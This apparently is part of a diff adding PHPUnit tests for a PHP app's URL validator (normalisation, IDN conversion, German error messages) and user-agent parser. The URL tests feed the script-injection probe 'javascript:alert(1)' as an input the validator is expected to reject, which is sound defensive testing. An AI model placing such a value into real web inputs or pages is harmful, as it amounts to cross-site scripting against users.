|
||||||
|
self::assertSame('https://münchen.de/fest', UrlValidator::normalize('https://münchen.de/fest'));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testNormalizePercentEncodesPathAndQuery(): void
|
||||||
|
{
|
||||||
|
self::assertSame(
|
||||||
|
'https://de.wikipedia.org/wiki/M%C3%BCnchen',
|
||||||
|
UrlValidator::normalize('https://de.wikipedia.org/wiki/München'),
|
||||||
|
);
|
||||||
|
self::assertSame(
|
||||||
|
'https://beispiel.de/suche?q=Gr%C3%BC%C3%9Fe&x=1',
|
||||||
|
UrlValidator::normalize('https://beispiel.de/suche?q=Grüße&x=1'),
|
||||||
|
);
|
||||||
|
self::assertSame(
|
||||||
|
'https://beispiel.de/a%20b',
|
||||||
|
UrlValidator::normalize('https://beispiel.de/a b'),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testNormalizeDoesNotDoubleEncode(): void
|
||||||
|
{
|
||||||
|
$alreadyEncoded = 'https://de.wikipedia.org/wiki/M%C3%BCnchen';
|
||||||
|
|
||||||
|
self::assertSame($alreadyEncoded, UrlValidator::normalize($alreadyEncoded));
|
||||||
|
// Zweifaches Normalisieren aendert nichts mehr.
|
||||||
|
self::assertSame(
|
||||||
|
UrlValidator::normalize('https://de.wikipedia.org/wiki/München'),
|
||||||
|
UrlValidator::normalize(UrlValidator::normalize('https://de.wikipedia.org/wiki/München')),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testNormalizeKeepsReservedCharactersUsable(): void
|
||||||
|
{
|
||||||
|
$url = 'https://beispiel.de/a/b?x=1&y=2#teil-3';
|
||||||
|
|
||||||
|
self::assertSame($url, UrlValidator::normalize($url));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testNormalizeDoesNotTurnOtherSchemesIntoHttps(): void
|
||||||
|
{
|
||||||
|
$normalized = UrlValidator::normalize('javascript:alert(1)');
|
||||||
|
|
||||||
|
self::assertSame('javascript:alert(1)', $normalized);
|
||||||
|
self::assertFalse(UrlValidator::isValid($normalized));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testNormalizedUserInputPassesValidation(): void
|
||||||
|
{
|
||||||
|
foreach (['beispiel.de', 'www.beispiel.de/a/b?c=d', 'müller.de', 'intranet/seite'] as $input) {
|
||||||
|
self::assertTrue(
|
||||||
|
UrlValidator::isValid(UrlValidator::normalize($input)),
|
||||||
|
$input,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testToAsciiUrlConvertsOnlyTheHost(): void
|
||||||
|
{
|
||||||
|
self::assertSame(
|
||||||
|
'https://xn--mller-kva.de/gr%C3%BC%C3%9Fe',
|
||||||
|
UrlValidator::toAsciiUrl('https://müller.de/gr%C3%BC%C3%9Fe'),
|
||||||
|
);
|
||||||
|
self::assertSame(
|
||||||
|
'https://www.xn--mnchen-3ya.de:8080/a?b=1#c',
|
||||||
|
UrlValidator::toAsciiUrl('https://www.münchen.de:8080/a?b=1#c'),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testToAsciiUrlLeavesAsciiUrlsAlone(): void
|
||||||
|
{
|
||||||
|
foreach ([
|
||||||
|
'https://beispiel.de/pfad?a=1#b',
|
||||||
|
'http://192.168.1.10:8080/x',
|
||||||
|
'https://[2001:db8::1]/x',
|
||||||
|
'http://intranet/seite',
|
||||||
|
] as $url) {
|
||||||
|
self::assertSame($url, UrlValidator::toAsciiUrl($url));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testToAsciiUrlResultIsAlwaysAscii(): void
|
||||||
|
{
|
||||||
|
foreach (['https://müller.de/x', 'https://grüße.example.com/ä', 'https://münchen.de'] as $url) {
|
||||||
|
$ascii = UrlValidator::toAsciiUrl(UrlValidator::normalize($url));
|
||||||
|
|
||||||
|
self::assertSame(
|
||||||
|
1,
|
||||||
|
preg_match('/^[\x20-\x7E]+$/', $ascii),
|
||||||
|
'Location-Header muss ASCII sein: ' . $ascii,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testErrorMessagesAreHelpful(): void
|
||||||
|
{
|
||||||
|
self::assertStringContainsString('http', (string) UrlValidator::validationError('ftp://beispiel.de'));
|
||||||
|
self::assertStringContainsString('http', (string) UrlValidator::validationError('javascript:alert(1)'));
|
||||||
|
self::assertStringContainsString('Ziel-URL', (string) UrlValidator::validationError(''));
|
||||||
|
self::assertStringContainsString('Hostnamen', (string) UrlValidator::validationError('https://'));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,86 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace App\Tests;
|
||||||
|
|
||||||
|
use App\Support\UserAgentParser;
|
||||||
|
use PHPUnit\Framework\TestCase;
|
||||||
|
|
||||||
|
final class UserAgentParserTest extends TestCase
|
||||||
|
{
|
||||||
|
/**
|
||||||
|
* @return array<string,array{0:string,1:string,2:string,3:string}>
|
||||||
|
*/
|
||||||
|
public static function agentProvider(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'Windows Chrome' => [
|
||||||
|
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
|
||||||
|
'desktop', 'Chrome', 'Windows',
|
||||||
|
],
|
||||||
|
'macOS Safari' => [
|
||||||
|
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15',
|
||||||
|
'desktop', 'Safari', 'macOS',
|
||||||
|
],
|
||||||
|
'iPhone Safari' => [
|
||||||
|
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1',
|
||||||
|
'mobile', 'Safari', 'iOS',
|
||||||
|
],
|
||||||
|
'Android Handy' => [
|
||||||
|
'Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36',
|
||||||
|
'mobile', 'Chrome', 'Android',
|
||||||
|
],
|
||||||
|
'Android Tablet' => [
|
||||||
|
'Mozilla/5.0 (Linux; Android 13; SM-X200) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
|
||||||
|
'tablet', 'Chrome', 'Android',
|
||||||
|
],
|
||||||
|
'iPad' => [
|
||||||
|
'Mozilla/5.0 (iPad; CPU OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/604.1',
|
||||||
|
'tablet', 'Safari', 'iOS',
|
||||||
|
],
|
||||||
|
'Firefox Linux' => [
|
||||||
|
'Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0',
|
||||||
|
'desktop', 'Firefox', 'Linux',
|
||||||
|
],
|
||||||
|
'Edge' => [
|
||||||
|
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0',
|
||||||
|
'desktop', 'Edge', 'Windows',
|
||||||
|
],
|
||||||
|
'Googlebot' => [
|
||||||
|
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
|
||||||
|
'bot', 'Bot', 'unknown',
|
||||||
|
],
|
||||||
|
'curl' => ['curl/8.4.0', 'bot', 'Bot', 'unknown'],
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @dataProvider agentProvider
|
||||||
|
*/
|
||||||
|
public function testParse(string $userAgent, string $device, string $browser, string $platform): void
|
||||||
|
{
|
||||||
|
$result = UserAgentParser::parse($userAgent);
|
||||||
|
|
||||||
|
self::assertSame($device, $result['device']);
|
||||||
|
self::assertSame($browser, $result['browser']);
|
||||||
|
self::assertSame($platform, $result['platform']);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testEmptyUserAgentIsUnknown(): void
|
||||||
|
{
|
||||||
|
$result = UserAgentParser::parse('');
|
||||||
|
|
||||||
|
self::assertSame('unknown', $result['device']);
|
||||||
|
self::assertSame('unknown', $result['browser']);
|
||||||
|
self::assertSame('unknown', $result['platform']);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testDeviceLabelsAreGerman(): void
|
||||||
|
{
|
||||||
|
self::assertSame('Mobil', UserAgentParser::deviceLabel('mobile'));
|
||||||
|
self::assertSame('Desktop', UserAgentParser::deviceLabel('desktop'));
|
||||||
|
self::assertSame('Tablet', UserAgentParser::deviceLabel('tablet'));
|
||||||
|
self::assertSame('Unbekannt', UserAgentParser::deviceLabel('unknown'));
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user